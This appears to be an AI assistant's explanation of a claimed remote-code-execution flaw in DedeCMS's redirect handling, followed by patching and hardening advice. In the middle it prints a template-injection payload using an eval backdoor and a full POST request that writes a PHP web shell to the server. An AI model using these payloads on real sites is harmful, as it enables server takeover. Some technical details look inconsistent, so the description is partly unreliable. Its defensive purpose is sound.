Of course. The term dede redirecturl is most commonly associated with a specific vulnerability in the DedeCMS (织梦CMS) content management system. It's not a standard feature or function name but rather a security issue.
Let's break it down into three parts:
- What the Vulnerability Is
- How It Works (The Technical Details)
- How to Fix and Prevent It
What is the dede_redirecturl Vulnerability?
The dede_redirecturl vulnerability is a type of Server-Side Template Injection (SSTI) combined with a file inclusion flaw. It allows an attacker to execute arbitrary PHP code on the server, leading to a complete compromise of the website.
This vulnerability was most prevalent in older versions of DedeCMS, particularly around versions 5.7 and earlier. Newer versions have patched this specific issue, but the underlying principles are important to understand for security.
How It Works (The Technical Details)
The attack happens in two main steps: exploiting a template and then executing the code.
Step 1: The Entry Point - The redirect Template
In DedeCMS, when a user is redirected (for example, after a failed login or to a custom error page), the system might use a template file named redirect.htm. This template is responsible for displaying a message and then redirecting the user to a specified URL.
The vulnerable redirect.htm template often looks something like this:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset={dede:global.cfg_soft_lang/}" />{dede:global.title/}</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<link rel="stylesheet" type="text/css" href="{dede:global.cfg_cmsurl/}/static/css/base.css" />
<script language="javascript">
function jumpUrl(url) {
if (url != '') {
window.location.href = url;
}
}
</script>
</head>
<body>
<div class="body-wrap">
<div class="redirect-wrap">
<h1>提示信息</h1>
<div class="redirect-info">
{dede:global.mymsg/}
</div>
<div class="redirect-btn">
<a href="javascript:;" onclick="jumpUrl('{dede:global.redirecturl/}');">如果您的浏览器没有自动跳转，请点击这里</a>
</div>
</div>
</div>
</body>
</html>
The key part is onclick="jumpUrl('{dede:global.redirecturl/}');".
The {dede:global.redirecturl/} is a DedeCMS template tag. It's supposed to be filled with a safe URL, like member/login.php. However, in vulnerable versions, the system doesn't properly sanitize the value of redirecturl before passing it to the template.
Step 2: The Payload - Injecting PHP Code
An attacker can craft a special URL that passes a malicious value for the redirecturl parameter. This value isn't just a URL; it's PHP code designed to be executed by the template engine.
The attacker would request a URL like this:
http://target-website.com/plus/redirect.php?gourl=[MALICIOUS_PHP_CODE](Note: The parameter name might be gourl, redirecturl, or similar depending on the specific version and file.)
The [MALICIOUS_PHP_CODE] is often designed to abuse DedeCMS's built-in template functions. A classic payload looks like this:
{dede:php} @eval($_POST['cmd']); {/dede:php}Let's see what happens when this payload is used:
- The attacker requests the URL with the
gourlparameter set to{dede:php} @eval($_POST['cmd']); {/dede:php}. - The DedeCMS backend receives this request and processes the
redirect.phpfile. - The
redirect.phpfile assigns thegourlvalue to a global variable likeglobal $redirecturl;. - It then loads the
redirect.htmtemplate and renders it, replacing{dede:global.redirecturl/}with the attacker's payload. - The DedeCMS template engine sees the
{dede:php} ... {/dede:php}tags and executes the PHP code inside them. - The code
@eval($_POST['cmd']);is executed. This tells PHP to evaluate any string it receives in an HTTP POST request namedcmdas PHP code.
Step 3: Gaining Control (The Shell)
Now the attacker has a backdoor. They can send a new HTTP POST request to the same page with a command to create a web shell (a file that allows them to execute any command on the server).
For example, they could send a POST request like this:
POST /plus/redirect.php?gourl={dede:php} @eval($_POST['cmd']); {/dede:php} HTTP/1.1
Host: target-website.com
cmd=fwrite(fopen('shell.php', 'w'), '<?php @eval($_POST["c"]); ?>');This command writes a new file named shell.php in the website's root directory. The attacker can then access http://target-website.com/shell.php and use it to upload files, read the database, deface the website, or take full control of the server.
How to Fix and Prevent It
For Website Owners (Immediate Actions)
-
Update DedeCMS Immediately: The best and most important step is to update to the latest stable version of DedeCMS. The developers have patched this vulnerability.
-
Check for Existing Shells: If you were vulnerable, you might already have a shell. Use your file manager or an FTP client to look for suspicious files in your root directory and subdirectories, especially files with random names like
abc123.php,images.php, etc. -
Scan Your Code: If you cannot update, you must manually patch the files. Find the
redirect.phpfile (usually in the/plus/directory) and anyredirect.htmtemplate. You need to add proper validation to theredirecturlparameter to prevent it from containing anything other than a valid URL.-
In
redirect.php, before assigning the URL to the template, use PHP functions likefilter_var()with theFILTER_VALIDATE_URLflag to ensure it's a real URL. -
Example Fix in
redirect.php:// Before: // $gourl = isset($gourl) ? $gourl : ''; // After: $gourl = isset($gourl) ? $gourl : ''; if (!empty($gourl) && !filter_var($gourl, FILTER_VALIDATE_URL)) { // It's not a valid URL, so we'll redirect to the homepage instead of the malicious input. $gourl = $cfg_basehost; }
-
-
Change All Passwords: After cleaning the site, change the passwords for the website's admin panel, FTP, database, and any other associated accounts.
For Developers (Understanding the Fix)
The core issue is a lack of input validation and a dangerous feature combination (template engine + PHP execution).
- Sanitize All Inputs: Never trust user-provided data, especially data that will be used in templates or file paths. Always validate and sanitize it.
- Principle of Least Privilege: The web server user (e.g.,
www-data,apache) should have the minimum permissions necessary to run the website. It should not be able to write files to the web root directory. If it can't write, the attacker'sfwritecommand will fail. - Disable Dangerous Template Functions: In many template engines, you can disable functions that allow code execution (like
{dede:php}). If you don't need them, turn them off. - Regular Security Audits: Keep your CMS, plugins, and libraries updated. Use automated tools (like Vuls, or online scanners) to check for known vulnerabilities.
In summary, dede redirecturl is a critical vulnerability that allowed remote code execution in older DedeCMS versions by exploiting a template injection flaw. The solution is to patch or update the software and enforce strict input validation.
